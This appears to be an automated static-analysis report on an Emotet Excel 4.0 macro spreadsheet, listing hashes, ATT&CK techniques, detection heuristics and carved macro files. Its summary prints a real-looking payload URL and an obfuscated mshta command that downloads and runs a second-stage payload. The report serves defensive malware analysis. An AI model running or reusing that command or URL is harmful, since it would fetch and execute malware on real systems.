Emotet — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 d1a3d7c5b90c927d…

MALICIOUS

Office (OLE) / .XLS

190.0 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 230fe8267b620a3369ee942dae4b3819 SHA-1: 9dbcb88435be221b9ac10ec8003685ef436a82d2 SHA-256: d1a3d7c5b90c927d0088b32f593ef9a28491b111c9758673805ae1cde25ec076
220 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1059.001 Command and Scripting Interpreter: PowerShell T1204.002 Malicious File: User Execution T1566.001 Phishing: Spearphishing Attachment

The sample is an Excel 4.0 macro-enabled spreadsheet designed to trick users into enabling macros via a lure on the document body. Upon enabling, the Workbook_Open macro executes, which in turn triggers an Auto_Open defined name in the XLM macro sheet. This XLM macro is configured to download a second-stage payload from the URL "http://87.251.86.178/pp/_.html" using the command "cmd /c m^sh^t^a h^tt^p^s:/^/transfer.sh/4oTO6d/Sign.txt". ClamAV detection confirms this is an Emotet downloader.

Heuristics 6

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Xls.Downloader.EmotetGame1221-9917205-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.EmotetGame1221-9917205-0
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
fddc848aa55d3fa2a90a396e5b447e89438e6bfd67f52fdb37c3679372796343		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1117 bytes
macros.bas
7cc1567d1e218227d2659ed155b5a9f3e6e95e57a93f7c9244eeed99273bc270		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 2498 bytes

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